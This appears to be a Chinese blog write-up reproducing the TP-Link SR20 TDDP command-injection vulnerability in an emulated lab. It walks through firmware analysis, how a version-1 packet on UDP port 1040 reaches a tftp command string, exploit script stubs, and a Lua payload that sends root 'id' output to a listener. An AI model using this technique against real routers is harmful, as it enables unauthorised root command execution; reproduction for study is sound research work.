TP-Link SR20命令执行漏洞复现
TP-Link SR20命令执行漏洞复现
介绍
TDDP协议是TP-link设备的调试协议,该协议的版本分为两种,version1/2,version1版本无需身份验证和对数据包加密,而version2要,所以只需向SR20设备的UDP 1040端口发送特定数据就可以了
固件模拟问题
从 Download for SR20 | TP-Link 官网上下载 SR20(US)_V1_180518 ,binwalk一下,然后寻找一下tddp文件,qemu用户态启动,发现卡住了,我们gdb-multiarch连接上发现程序是卡在了select函数,然后IDA静态分析一下看看
IDA查找原因
我们发现程序是输出了一个tddp task start字符,然后查找一下,发现是调用在sub_936c函数上
1 | $ sudo chroot ./ ./qemu-arm-static ./usr/bin/tddp |
sub_936c`:
v7 = select(nfds, &readfds, 0, 0, &timeout);:这个函数就是接收udp socket接口是否有数字到达,nfds是最大文件描述符,&readfds是指监视可读文件,第一个0是指不监视可写事件,第二个0是指不监视异常事件
所以((readfds.__fds_bits[v6[9] >> 5] >> (v6[9] & 0x1F)) & 1) != 0就是判断它是否在可读事件内,是的话就执行sub_16418(v6),所以问题就是要向udp 1040接口发送数据包
sub_16ACC(&v6)
这个函数就是初始化v6,也就是tddp初始化函数
sub_16E5C(v6 + 9)
这个是设置UDP套接字,,用于tddp协议的网络通信,第一个2指的是IPv4,第二个2指的是UDP数据类型,0是协议自动选择
setsockopt(v6[9], 1, 2, &optval, 4u)
这个就是这个结构setsockop(socket描述符,级别,选项,optval,optlen),2选项是重置socket,6选项是允许发送/接收数据包
sub_16D68(v6[9], 1040)
这个就是设置重置socket,并且与1040端口绑定,此时,我们看下 netstat -anu ,可以看到1040端口是开启的
setsockopt(v6[9], 1, 6, &v3, 4u)
这个就是将socket设置为接收/发送数据包
sub_16418(v6)
然后看下sub_16418(v6)函数
发现是调用recvfrom(a1[9], (char *)a1 + 45083, 0xAFC8u, 0, &addr, &addr_len);,函数原型是ssize_t recvfrom(int sockfd, void *buf, size_t len, int flags,struct sockaddr *src_addr, socklen_t *addrlen);,所以是将数据读入(char *)a1 + 45083里
验证
我们从上面的分析可知,向udp 1040端口发送数据即可解决select函数问题
1 | from socket import * |
成功了
漏洞分析
sub_16418(v6)
我们知道发送数据的首地址就是a1+45083,而后面将首地址指向的字节给到v2并且和1/2进行比较,那么我们可以猜测这个就是对应的版本号,我们前面直到1不用任何验证,所以要使其进入1,由上面的分析可知,&addr村的数据就是a1+45083指向的,所以会进入sub_15E74(a1, &n)
sub_15E74(a1, &n)
然后我们的目的是为了进去这个函数,*(_BYTE *)(a1 + 45084),说明输入的第一个字节是版本号,第二个字节是选项,根据漏洞报告可知我们要让其为0x31,会进入sub_A580(int a1)
sub_A580(a1)
我们前面的版本号是1,所以会将v19+12,而sscanf是将数据进行切割,;前面的给s,后面的给v10,而漏洞报告说函数是发生在sub_91dc(s),所以我们要先填充12字节,然后将危险代码给到s去,这就是为什么下面的exp要加上10(版本号1字节,选项0x31也1字节,总共12字节)
sub_91DC("cd /tmp;tftp -gr %s %s &", s, v16)
vsprintf(s, a1, varg_r1);,这个函数就是将a1的内容拼接给s,而varg_r1指向a1后面的可变参数,s=cd /tmp;tftp -gr arg1 arg2,正常结构是tftp -gr remote_file 服务器IP,就是从ip上下载文件名,但是,这里我们可以提前用;或者||结束tftp行为
这里看到execve函数
1 | // 实际的内存布局(栈上连续) |
但是用户态调试支持不了多线程,所以fork不了子进程,也就执行不了execve函数,所以用系统态验证
qemu系统态仿真
开启前设置
首先是下载必要镜像
1 | wget https://people.debian.org/~aurel32/qemu/armhf/debian_wheezy_armhf_standard.qcow2 |
物理机设置tap0接口
1 | sudo tunctl -t tap0 -u $(whoami) |
开启qemu系统
1 | qemu-system-arm \ |
设置地址,看看能不能互ping
1 | ifconfig eth0 10.10.10.2/24 |
1 | $ tar -czvf rootfs.tar.gz ./squashfs-root/ |
挂载必要部分,因为chroot不会自动挂载dev和proc
1 | mount -o bind /dev ./squashfs-root/dev/ |
exp1
1 | from socket import * |
成功了
exp2
正常下载完lua文件后,会将其下载到tmp文件夹中,然后执行,而v16指的是ipv4的ip,就是发送payload的机子的ip,所以将lua文件建立在本地就好了
开启tftp服务
因为 SR20 设备会连接发送该请求设备的 TFTP 服务下载相应的文件并使用 LUA 解释器以 root 权限来执行,所以我们需要搭建 TFTP服务。
执行,并将文本内容改为如下部分
1 | sudo apt install atftpd -y |
1 | sudo mkdir /tftpboot |
然后就可以发现成功了
这个命令是在本地执行id(root权限)然后将内容发给10.10.10.1 1314,所以本地要监听1314端口
1 | sudo tee /tftpboot/demo.lua << 'EOF' |
可以看到内容成功写进去了
poc
1 | from socket import * |
但是会发现无法成功,是因为tftp服务端口没能绑定在69端口
1 | # 1. 停止占用端口的服务 |